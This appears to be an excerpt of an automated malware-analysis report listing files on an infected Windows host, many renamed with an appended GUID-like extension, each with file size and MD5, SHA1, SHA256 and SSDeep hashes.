SSDeep: 384:ztU6P71iAVq6h4RMQjaBQQS4z9Pm9MyS6Hsjaiuzp5neeMdLtjTX1oI:zmi7dAv8BQEzSMl6HCe5edF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\rMegkA86B_mfsKq.wav 85.98 KB MD5: 073f5969704b833824b16a1a90d05f74
SHA1: ba7130f3367e0e02db2e4e8d057721b37d5cfa55
SHA256: 27eec497fabd71506033e91d0b09972528d280d9b75721053de96a450a82b195
SSDeep: 1536:L+NjajDGtW7tLDH4OOcSDS/3s3LpjT+XwkWBVExm17FqXFnyqD/wHO1:ojwuYhrnOA8RtkWTEJXFndsu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\rMegkA86B_mfsKq.wav 88.41 KB MD5: a6740bd2a9240f4e5cb35b393ebc8bce
SHA1: b262c708f4099d49aa159eb48c1d59edc1d9d38b
SHA256: 689127ba1900678d01e87e0f1182b9b73bc2ca079cb172387851d8814d528fca
SSDeep: 1536:ZK6td7opz4tBHax33J4vT8/Q9MpZqbhMHrhQUHLUb1BQotso1m17FqXFnyqD/wH0:oUcpz4thMe77tFMHrZrUZB5PXFndsU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\b3an_n.doc 38.00 KB MD5: 62f73dad03c0009e4d98abc3d1fdf33f
SHA1: 70e177fa7b35edc0840db7298eed2118d4899f68
SHA256: 511c311fc361acee11506ce1458f3ec9e77566a895f0aae2b0d5a0ec7e2eb8ee
SSDeep: 768:B8i9ICC5aux32D9lN1/R1kDvlOZPs8UG4muuKJbCpLpPyTgUt5NgrG5nBp:B8i9rKauxmD9hmlOadG4zJbCp1PJu5+4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\pZmvw.ods 82.87 KB MD5: be9b4ced49260edb2b374d54a6ee6d95
SHA1: 4b7840228e75a38b203615b5ac8ac33bda516ec3
SHA256: ef0f3362a8db8c1c32abd93989e171ec612e3c14f173195359ceab5870ea882a
SSDeep: 1536:idcw7TT9TjZEqrU1uGKaC3yvG3u3y1cym9MKRab9oTScPrljm+d4pVhQlAJUiHOV:m/ZXZHUo3yvou3nymMKSTchjmw4pVhQd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\pZmvw.ods 85.30 KB MD5: 9b9e2709eb19c05a200d085e3ec33a8b
SHA1: 5e3862e868531d0da809258a5c9391af11cd6c6b
SHA256: 219ae4d7f148977133b6b618fe7fa419570d1aa33b11f134735a68d6409047c4
SSDeep: 1536:jfwPXNgT3qCei9bWesGaAZ24+xBh1jHF3Okz0iWkhAhQlAJUiHOv:jfKdyZ9bWGavBh1bF3uoAhQWCdv 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\STmNzCf2kHMrprU.csv 43.78 KB MD5: be2a8b5cdd0db50386c12ebe8f630ca5
SHA1: 17ce4e80408dccab09f76c594873943e6ece0be2
SHA256: 9115ad7354165cd4b0d65fc2b02bb674d8f4ea25c7b6e990671e45518e2f0742
SSDeep: 768:kr/lv89OUKc+Ob01tmSqwR7343vp5O9b849Omig7z09VmL1DLRHKWWe2pm5gU0Mm:ktjozOpP5o3XobrBigf0XYDNHKZe2S1M 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\VojBs.docx 53.87 KB MD5: 24ea4df8254515dd77ac61483d8dee0c
SHA1: 79dbc85f519b8d93993f169e1c23357f1dca8f81
SHA256: 9e785d8c855b89c5104e0ae5db1c1f41215af05feaceee88a02fd8d4e19340bf
SSDeep: 1536:Z7bC+KBG3cdySzODz+Xp6QA5XB7xsAFuB6:pbC+K+cTzO+5N8BS3B6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\VojBs.docx 55.33 KB MD5: 9ceacceffc5e49f9d68800fc69c43f3d
SHA1: c061149096169754742d21ace8897d5170e0fc2b
SHA256: 1ce1efb8b1ef5399fd3714a96c96e73f49018d7cfa380a639c06cd7c0efdb297
SSDeep: 1536:MhDnFTruWT1VSqoo0kPZW8AaAWrQDn5BxmA:8jFTaoPoo0kBfXQz5Bd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\YeIhI573Uc31sI.png 95.20 KB MD5: d69f73f9f0ebca930caa784036d50fc7
SHA1: f6b746a2d03ecca7f80a3877d12a929a3db105b1
SHA256: 0f4f1b6fe147f4a9530abb08e144acdd429c09627d36d3c21d20a64615343c3c
SSDeep: 1536:clK8W/H0pteW5HnsJVnyLGZ24pKVed3JgGNxBxFA1vCNtS9ZF1LlpJk7eEJ:+Kstj5g9O4pqGZC1vCNtSbLPJqpJ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\zhVAN.bmp 63.61 KB MD5: c95c2f73095307a914cef3dc854457f1
SHA1: ba4450c72d2ed308cad22318f3723b178de12b51
SHA256: de7d9adb22f0555679e2d1a9ea0cd232188d77778de7394bcb248aa30da53aa6
SSDeep: 1536:Da62vf5dMcEwlc+2JHuvEwUUu/V5gR00I27GVfUMnA7:e62zxQ+gHuvtagtI27GVfUye 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\LL30Wm.xls 83.80 KB MD5: 329b488435de98d771e868447f149621
SHA1: ef5c7cf0c5bc1d0aa09895febd3d63f08aa4d252
SHA256: 80fa2c89d5f64f1393f626b628b5d272c42f385d74536415aa54ef9012406a82
SSDeep: 1536:CRrLzTeMognStXaTMRBmx9/Zvnqeb573a3a3eCupXY0tpwVK8y2Y17EEil:27Te6StXPm7jtq3Ae+0tKVtKgr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv 56.04 KB MD5: 075042d8bfee2e93eaea1454c2343eda
SHA1: 4fb3b26909662ee2ba8d9683127c7ab222551323
SHA256: 2689e66aea656f79ec340de8f825303917c99ea6d6bf20e87b5a9df7daab3532
SSDeep: 768:72uEBF09LU2GLi1AdHC2S/NG7QDLqiBsKkOrKZMT3BijVV56FKBrTDuYnoJxbgmP:qPKq1HC37JuFOCVmcyYOgmrsyR 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 18.31 KB MD5: c0e641f367c8578a771fa0cb6de52e84
SHA1: ac804d29721e880d571da1091e0a4801fc14e984
SHA256: 5d55c311372b05f7c754988986606b3ca46b9b1eedc57f12cc8e13c72dea5994
SSDeep: 384:axh5ZPxaPnu3GIyLgNe0KUmJx1aoiwU6Hke8JuFqGTX1oI:az5Zpa/C0DVJuV2ke8oFqmF 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.77 KB MD5: eb2e73d3f46dc7e9705e992944c832a5
SHA1: fcdd9cd659610510f550f35efee51524e3af5511
SHA256: af7cf629f3910f8fbf29da6179a53412160786f3ffccf08ba1c8e8d3312e9eba
SSDeep: 384:a9SUXNQpBddGsiSnAjnkZVG4YDPGqmEB9gjQD3Th8BuxHwoZNBLtETX1oI:NUAdUSpwjrmEBWYDaExFZnLeF 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 29.77 KB MD5: d29fcb1be42084148a6c1dde973f8c98
SHA1: 4ff979a62e5dd5217381302797dadfdb6b47e04a
SHA256: 3dab7694f0615f683e77da9131111f3298f88245b4c96254fb3e76db3ff58818
SSDeep: 768:gzele7KkERG7B1ptLEC7FDEzjsh84GPWwlNvvzeG+yF:gAe7tB1PN8jS81HH 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql2000.xsl 33.28 KB MD5: 6f2c94f4b9c1cfc70c9d67b31a0b0894
SHA1: 4a3d4e48217388634284d0f32411b3dfb451b462
SHA256: 4e19571450fa29b62e82786e8ebcb1d8de307e2f8a0baca384cc18d998bb932c
SSDeep: 768:x0QGyvAKMs0wV0xD8E50hnPnKekcIibHb:xv8KMs0wV0xD8EGhnPnKeksb 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 34.74 KB MD5: fb0c736e5b5b263619cc12935ef5b3df
SHA1: bfc101b5e57cce26a8e90c7a8e6fc95bb5c923df
SHA256: d268b999c263e3192276e93056169f44f9cd70b48d1f969f71513c789277955d
SSDeep: 768:SNeKa1QKTKBaAYIJJS6ssjwdjOLmpkdmWy24JUF:ODeQKTKBkIWbdgmpk4WV 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql70.xsl 31.39 KB MD5: ffc9ac044a5b32a4bf00dd811de02d51
SHA1: 1f32fa8b0ce0b57a1db65f03cdc5bca4ad46bbf5
SHA256: 5d50b6ea07b65c848424b65d850dff3f82a246d836f0a81d8fb9f9c001ac0f8e
SSDeep: 384:fiOOrJnkpSlKpNeJMu/yvAqiHr3iHrnFBbs5zs0wVyuK90JnPnKzsxcV/mGk/T/i:KOGyvAKMs0wVyuK90JPnK7kcIibHb 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sql90.xsl 38.59 KB MD5: b83cee1b3fcbd3f34d768191dd8331d0
SHA1: 882955922761c86f3b59ddb523d3aebd16239b76
SHA256: 81af20daa874492b0bdb15415151ad01ad76acb7b2604d0aa6d6ad5038fe8ab5
SSDeep: 768:GIfVV29KMs0wVEcu8BraQG5Whn7nKekcIibSJ0AKbTe:GGiKMs0wVEcu81aQGMhn7nKekLJ0AKby 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\sybase.xsl 29.09 KB MD5: 994d59c43f7b46e5f3c8bdfbf0a4b3c3
SHA1: 8faf5dc3160327c541267a6b8f4bb33ce8557d00
SHA256: 5d40b295d339b25a85b078091296e9ff6940751c1ca4f52850bbdb8c5f27d62f
SSDeep: 384:N5mCDmlqiHr3iHrnFBbs5zs0wVN3hEnPBKzsxcV/HGk/T/VIibHr:N5NmlKMs0wVN3hEPBKekpIibHr 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 652.34 KB MD5: 3df3644dc3fdbeab74708443317b31b9
SHA1: 380255e052d50625c95492039905270e36dc6616
SHA256: 88d08546b0f641feec068cf3385e58def618c9c1483e0cbaf90a9f9d279b4873
SSDeep: 6144:vjwVG5g4GLrhwG4Jmi3fMCBJCD610fN4bULB:vjwVG5g4GLrhwG4Jmi3fMCBJCh1/LB 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.99 KB MD5: d3a1b8facf2ce4d029432c87fd49995c
SHA1: bb8e68184afbf29d939bc8a1e12a29e4e569ba88
SHA256: a1d0b0fe29ea06845f0d997fe68a2f242cbbeb64334cdf2274f1c52c759f3d7d
SSDeep: 384:R23iUngJ60sFSRKsjxVuTrYND+uKQzNpHE9BqomW9z9/TX1oI:RWgJvsFnsjqTrcDJKQzNpkeW9pBF 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00004_.gif 8.81 KB MD5: b7a0d1b81ea08e046193e6cf1a93141c
SHA1: 9327a14cf5cfba54faa88b688256363aed21d4b5
SHA256: 0ddee161ee17f276791e89f05331236276c1dbf6b8ec3e3a29acb06fa5477321
SSDeep: 192:D/TCj+tFJu5/8pFWXeWAFY6xNSPVjdUw0VVNntG9iTVvM/QWdSPVjdUw0V:D/T2EUSFWXeWAy80VBUFVdNU/0VBUF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.52 KB MD5: 3d462795e981e7ea4430ad0b596865c6
SHA1: e8902783113786af1b50c5cfcb7b9d2a138aea3c
SHA256: 0c30dd8cde8c2d62d8679e2034988aed502327f0742c9dab845d3002468676eb
SSDeep: 192:AT11tv3rfj8ttalgIZiTKSnG2j4LzZ+tUIkXMdIy5Gi3lJX1o/A:ktv7b8t4Xi16zZVlgxTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00021_.gif 14.53 KB MD5: 6b4814db5a6dae003a34215cc7233688
SHA1: 7f2b7b3aa60553c246177384b34f63ef2e4065c0
SHA256: 0dafec9f47640bc23ac83e0b6a9c539617adc9e735944ace3ee5844367fc8680
SSDeep: 384:kRFG8Fjt5X65VpMXD+7XM4OEWlvKGxNNSN/0Y54OEW5:ki8FRLDo84/WlSKN2/0m4/W5 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00037_.gif 6.53 KB MD5: 04ab4e31eeaf26717a16fcf4010470df
SHA1: 324dcfc905f950cdb47e0487528410fc674e0992
SHA256: 2d079e7dd0a737fc88be9a5cf7cd7d9c0e21acbb5ce43135d338c97c8eddd942
SSDeep: 192:22acBRn658GECWSmP9r2mMJTQQ8aMcQQhE4Xrs:22DPn6Wnr71rDeXM6lrs 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00038_.gif 3.18 KB MD5: 03922ea646ede24e221d0c8bb097864b
SHA1: 5cfd068f8503c81ee7023f71fb0cd7b651e48557
SHA256: a2bd2aa4d4d6c13d4018b79fa64bef439961229368e0c939e1805d087850ae18
SSDeep: 96:vofQSxliD1zwiZexIClxRLtXHJKmsLYdJ:UQSxliD1zw1FNLzKVIJ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00040_.gif 7.91 KB MD5: da172b0f7539b3b273ee17b6c4004741
SHA1: 33f5ed103a93acd2c37272b57871d1c288fa5b4d
SHA256: 4b84504818e0156605a91464a184456589b817e6ee2adf6dd5c6943938290927
SSDeep: 192:bopGhtbnNKAPd7jeTJAAG8mNZuTGa1rAdBzsF:bQObnfVje1AAG88E6adazM 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.38 KB MD5: 667787210c5e2cc0730a4390ce3f6086
SHA1: b07cd2e23df268f8e7bb98b7341a1a1147e21484
SHA256: 77e2f72a68a84038ca37e0d87e5d03e312c4fe3c6e5692c74f179785d8e0d38f
SSDeep: 192:QHtIyuNHqPlYMycbHJ3kjhO0LrkLtQua7zptVhs48GoOvnAZvx1oV4+sJlJX1o/A:byuNklzHJ3sOokLt87jWGoXvx1oVRsJX 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00052_.gif 7.51 KB MD5: 83da96423fe8f73a6f388b3a7214e0d6
SHA1: bec0b2646575ba7f3b15325998298badf8300607
SHA256: 58df7eb225d924b2d88b19b937840191d65cdf65dcf9a01b61e6c39b3f3c4f3d
SSDeep: 96:tCcNHHjAt9W/BWFoLXo89BXJ9MgPXjTorod0ZZlJueFj0Ld2HbEPgf33UhGc28ZJ:ndHUIDY8zXXXvoy4RHHhuP2vT2VIw8S 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00057_.gif 11.61 KB MD5: 1235bf1154712a915cc815eaf9f2b40b
SHA1: fab1255e284283a3276e8e8cfe570cd259d0ab61
SHA256: c59bc540b111be2bb7ffd39eeab555c56bfaf7f120708544449802426b4bf416
SSDeep: 192:kkhgkvIbBm8OBVkuYdLrVDsG0oBjxyrKiFIfY2JQ1ME4CKIatOMEX:kkhRvIbBwEuYdPVDB00qNFOYs2MEtKV6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.08 KB MD5: f031432105955b03043b2ef87e86d7aa
SHA1: 10174250107ba97995290a24c48cbd1a988eb611
SHA256: 02719fb7d82f833e00ed12ac5432ab9ce2987c029bc74abe9506902c51aa03ed
SSDeep: 192:vDPTRVPVNU1MDz3HSyJ4K2q3ICS+mW8op/zrKCFyIaOhEg191nkkNV5OlJX1o/A:DTU1MDz3FJaq3IAp7rKYyIaGbuTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.96 KB MD5: d42099b633773c59353364f53a157b77
SHA1: f800a191e76c6e22f7cd045246b1e4062815a39e
SHA256: 718255f24739bdb00b4e3f71375a8c7c8a978221d39913692e080bf320a5fd6b
SSDeep: 48:wwgvUFIWO40GQ/+FvE7V9bhE8Y1YvqNIhRe:bQUFIovHFeEX1Yv6aRe 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00103_.gif 12.41 KB MD5: d684d9a72fc99ed04dff14f7cba1a31d
SHA1: 409c9f244666fffe3cb80c5fa0e7153ee5e4809d
SHA256: 777c417316e2bdb1e6a2d3b6117a095239d4bbde77f7f2b5972ae4f8b7c133dd
SSDeep: 384:0MC8SOcnsgNYMC8SOcbsgNQMC8SOcssgNe:NC8iTzC8i3rC8iQc 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00120_.gif 3.40 KB MD5: 51a85817591a784253ac71eafef1df24
SHA1: 8cb906e785f98f656808f96c7aa3d4e37541ee5f
SHA256: 325d15a8136b1fb416847321d49c870e305f22fe307eeb881709336d92fb358f
SSDeep: 96:0evyyQq0J9b+W/zRQInzOy4MiqzMIU6Mz:0eayQxLjiqzJUdz 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00126_.gif 3.07 KB MD5: de82e4f1fb31bf6a2e0ffd597ee18e95
SHA1: aa4d4081b4da402a9cb79cb76a45b11519b7dcdd
SHA256: 2a24bdd5b97d56bac01e6e268d36f26e87cbdc2e4c2a8c20ef4cfc57dde171f1
SSDeep: 48:3Zxuzhg9NICc7JAl/4HmeJcfRKKVaxiT9rn9MASmM6CZ7K0h6:32gX9qo/BfJIiBDBXCZ7Kb 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.53 KB MD5: 464f431e89a5e2a3547f6bcc14b0b63c
SHA1: be55755a633f4ffaeb1adba615cdc55c2dd6dc91
SHA256: 2e64137d03e1a77ecfa7a74f6f0b32b4b4ea822fd8560fa24a739189ac3b1186
SSDeep: 96:4fuRid5htQsjAFEgRfvj3lr3ZOpvHFeEX1Yv6aRe:8hSLeg7+lJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00129_.gif 12.19 KB MD5: b49b0e4456705b0a313192f226a8df79
SHA1: c6e58070f2fdd40bfe90cd6329cad0ff18ccbf59
SHA256: 936e00106dc94df96a5f5b33c46fedac649fdcbb3ae27a882a6ffec0b57d6b0c
SSDeep: 384:kRPk5cf+ejgTbCgsm7h3XKw1h4D3KAy7fWlVdzlRrc71g4VU:kRWzejgTbCg/96WuD3KAy7f8/7rH4VU 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.66 KB MD5: 562430cec9f25e7dd84533c352012870
SHA1: 52add21dbac3931bbea02b46d9a0a8fbaa61e47c
SHA256: 18899ff6f667ce3540cabf81de5357a8d58680e1796210ef47dc3b039031db36
SSDeep: 192:xoFVg08/hvdwJMLCCNY2D9Gm9YiWB4a2R1Qy+636E9nJGJYoLp282lJX1o/A:xo3CvpCQ7JD9Ykapp6KAFoLpmTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00130_.gif 5.13 KB MD5: 690a632128c8452f3bcd4fc14d11c518
SHA1: 61efcc0a42e0d1bd6f0dfe29894dde8afb087aca
SHA256: 9b60853bb7f178f14897f2f2d5e60f6acc6c601adf0c736a8e5b6980107e188b
SSDeep: 96:DE6+s+/hMds+s+/hMdHtmDOPv8EI9wnr+Qpkyv8EI9wnrtmDOZ:DE6+bhMW+bhMZlP09u+vy09ulZ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00135_.gif 2.54 KB MD5: 4b39dc4b269cc1517b63128d21e1b992
SHA1: d9233138764cef93c784acd48a68897d8f5ecf85
SHA256: a5d027ec50b84a7eb2947886c9842ff98aab7f27a6b68e5182d75d15c63b6f16
SSDeep: 48:66X+RwpX6nRwpX6zsp2qBMrW5Iw+fBkQEJvX:d+Rw2Rw2sp2efIw+Zkt 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.00 KB MD5: 5cbd73355815014d5ab9e54dfb37612b
SHA1: 6fad10dc31bea6d2794b633e12f65dfc7959caab
SHA256: 9b33cd144f9f96eaeeaff9c41418a2e21d0afb4f19df9f7e2b2e2d02bc0803cc
SSDeep: 96:IMUfOJybemR/T4nyw9TNCkZziHw7/fxvHFeEX1Yv6aRe:IMUFb/TAy0eHS/xlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00139_.gif 10.36 KB MD5: 5411235d42cf2cf31f7e39f993df7aeb
SHA1: e6e7ccdba1628e12993af309718acab94005c03f
SHA256: 31d504ce631c0eb6e187649d40b808ffd47ae0daa655ac44b796e68ae1a53a70
SSDeep: 96:0C6dfaPr3UdWkZmNUpCoIpVIQXHt00SHs5684TR/nbLGSHs5SXHt04oIpVIUNUpo:l6d0OZypVIQXr41//1XDpVIEZ5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.83 KB MD5: 3788a8d7b27aba6e1b4661bcbe9fa24c
SHA1: 421b18375fdf8111024b06fe4010bded46ca77ed
SHA256: c5ebfdbc8a8a0f70d0c39be9e470752181e06f9da920b37031b206ec1ad2d2d5
SSDeep: 192:iEr4eVrc9Ip2RyD1Eh7t0ZPA4DSpks3mk1xDjUeC+jfmXwClJX1o/A:Hrj1D1sR0ZPAgjsWwX+TX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.41 KB MD5: 25098cbc26fc066203cba049888c8189
SHA1: d0ac05e68f90da89b5f8cf61321e34bcaeb47100
SHA256: f17154ec970797457b38616088aea214a031f08f5c6040fd4905574d150ddaee
SSDeep: 384:M37nRc8HDDV17FWXNqs+gFun4mWw88tNWD88BTX1oI:2RrDvgy4UEnF 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00157_.gif 4.84 KB MD5: cf223f86cbcf920d38fc5376df5401de
SHA1: e8f4208833a4739dcfccfa981ca2c762080790bb
SHA256: 8173ee7de361a05e2863dc4b624bdd3e5a58f3650c451258df4a08630b17e322
SSDeep: 96:z2gG0QU5rFX3xFe1OEs2ovYJSqae7mcdiov9xFe1OEsyFX9:aCQs/ooMovZqYovDook 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.30 KB MD5: e4785a808fe40fa6ca3f58789e7bc28a
SHA1: 3cfcc0cead3fca73ef38ff6cfb92d13da3599720
SHA256: 59673c4971b76926de54631208a8d33237acddd13ad2a9c13b34cc49f58a7bf5
SSDeep: 192:GQFA47eaaD7cdiTvRy1xzAc4bTlJX1o/A:GQv79W7+wvQxKTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.38 KB MD5: 4ae6f2081ab09c8eddc01db472d00e89
SHA1: 76b40d6f1bc2a4ecb9c14e6846b9db8221a4442d
SHA256: db5a66a57920ef561d3f2dfe425caf7118facf31c5866df0e7b284714ad90754
SSDeep: 192:YTnoSS+AaxlFPy6M2Vu7ckL7Sc8e9xiBEX/plJX1o/A:31aFy3L7Sc8OxwATX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00160_.gif 1.12 KB MD5: 1f8eca6feb06914c7e33b508d82343e6
SHA1: db69a892479ec46a8e417cb93f42a2cb69eac0d7
SHA256: 6008fb7fc1e08c4870d4386f192fc28e13311d70774590a4d43bb2adbb622b11
SSDeep: 24:Es6llT3bPct1d6ZqbYjs30lT3bPct1d6ZqbYjs3oslbcTKosP9MS3Q18M6slPjQC:CPPeJ5sPPeJ5bbvo49VA9PjQe7FoXExT 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00161_.gif 7.41 KB MD5: b0850a804a6b393e02617d5f8719721c
SHA1: 9c0b1015c730f27ed09aff5e32aca0e0532b23ac
SHA256: bbf3bbd95796c7d8e2bd34a5fb8df2a9479fd2427d4bbc4cbc5ab412442f5856
SSDeep: 192:mMAKvdOr+g5NzUUWAWCVFkwM3qN0qbQcNxXGDOGoDG3xh0Z4G:mMAK1MpHU3AlVuwB0kxCOfCxh0Z5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.88 KB MD5: 570201dd6e890458a11e673d00235d05
SHA1: 168455aed464c3d73f332168fc428e0bac468df2
SHA256: e8464d85ded403c463f7fef78172b1de6a937a8c706f5e55ffdfabf69e75087e
SSDeep: 192:dXydx5YtQvy8E4AMKaMflhbiXAJptbwLykGS17d124lJX1o/A:dCd7dE/K2l4wNUGSB/5TX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00163_.gif 6.82 KB MD5: 2a33cc608dabc48d315e76176ee9c1bd
SHA1: 581ddfd8a28f22d3be43f94c39195882f18fae2c
SHA256: 898940b679f296e73a05f5fad7e6561d25a4a7b406b480f9103687fb1c5e19f2
SSDeep: 192:5MAKqy88HEa7oQ1qwKDYdGzwGzKy885uE:5MAKQwDoQUwwrExE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00164_.gif 12.94 KB MD5: 86e4595e9624927514b5a7156fba7d1a
SHA1: 286c0a8dd51bdd388b668bdf8756a71b7adeb924
SHA256: b2c97fec7aa801123dccc6f383fb6fd31964e03155180ab36147074ecbf3373c
SSDeep: 384:yMAK0MAKYWkxfCfC/d4DMAKv85kyuYXMAKh2DGw4XwFBT:yMAK0MAKYWKqCmDMAK8kyHMAKh2D7c0T 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00165_.gif 8.38 KB MD5: f3b5bc2a12b94eb8be04cbf72e958cc2
SHA1: 6abc907ae96db439a8363382adb7c78a965dbd53
SHA256: 5f1eb007ed9d5ecb24f2a8d43d5ec4c2a278eafdee127b709005dce842ba5202
SSDeep: 192:4MAKJww9ZL6PHKuu6smEOO9W9jbGqSpP5huCBTFGpqzZl7XVN2Xm:4MAKJwwXOLJfEOO09HGqOjuwf7z 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.85 KB MD5: 4fb1b65ba86b2689f6122fd8d0f9cfab
SHA1: 9f8be4ba9ab6c543af7e7ae207405ced3c54de52
SHA256: a2b1cc5c6551ba960083c64005f1d31e1e687c6d6ac522f921d2f793ff2c4e07
SSDeep: 192:w9NfJZhbyCtfObp0CtM+Pa5+6gBWuXbA2wPlQnHlJX1o/A:wzh/yW+yzgBWuXbA2wPlQTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00167_.gif 4.78 KB MD5: a3727b2e8c9da4d59cf9a4f3829c4923
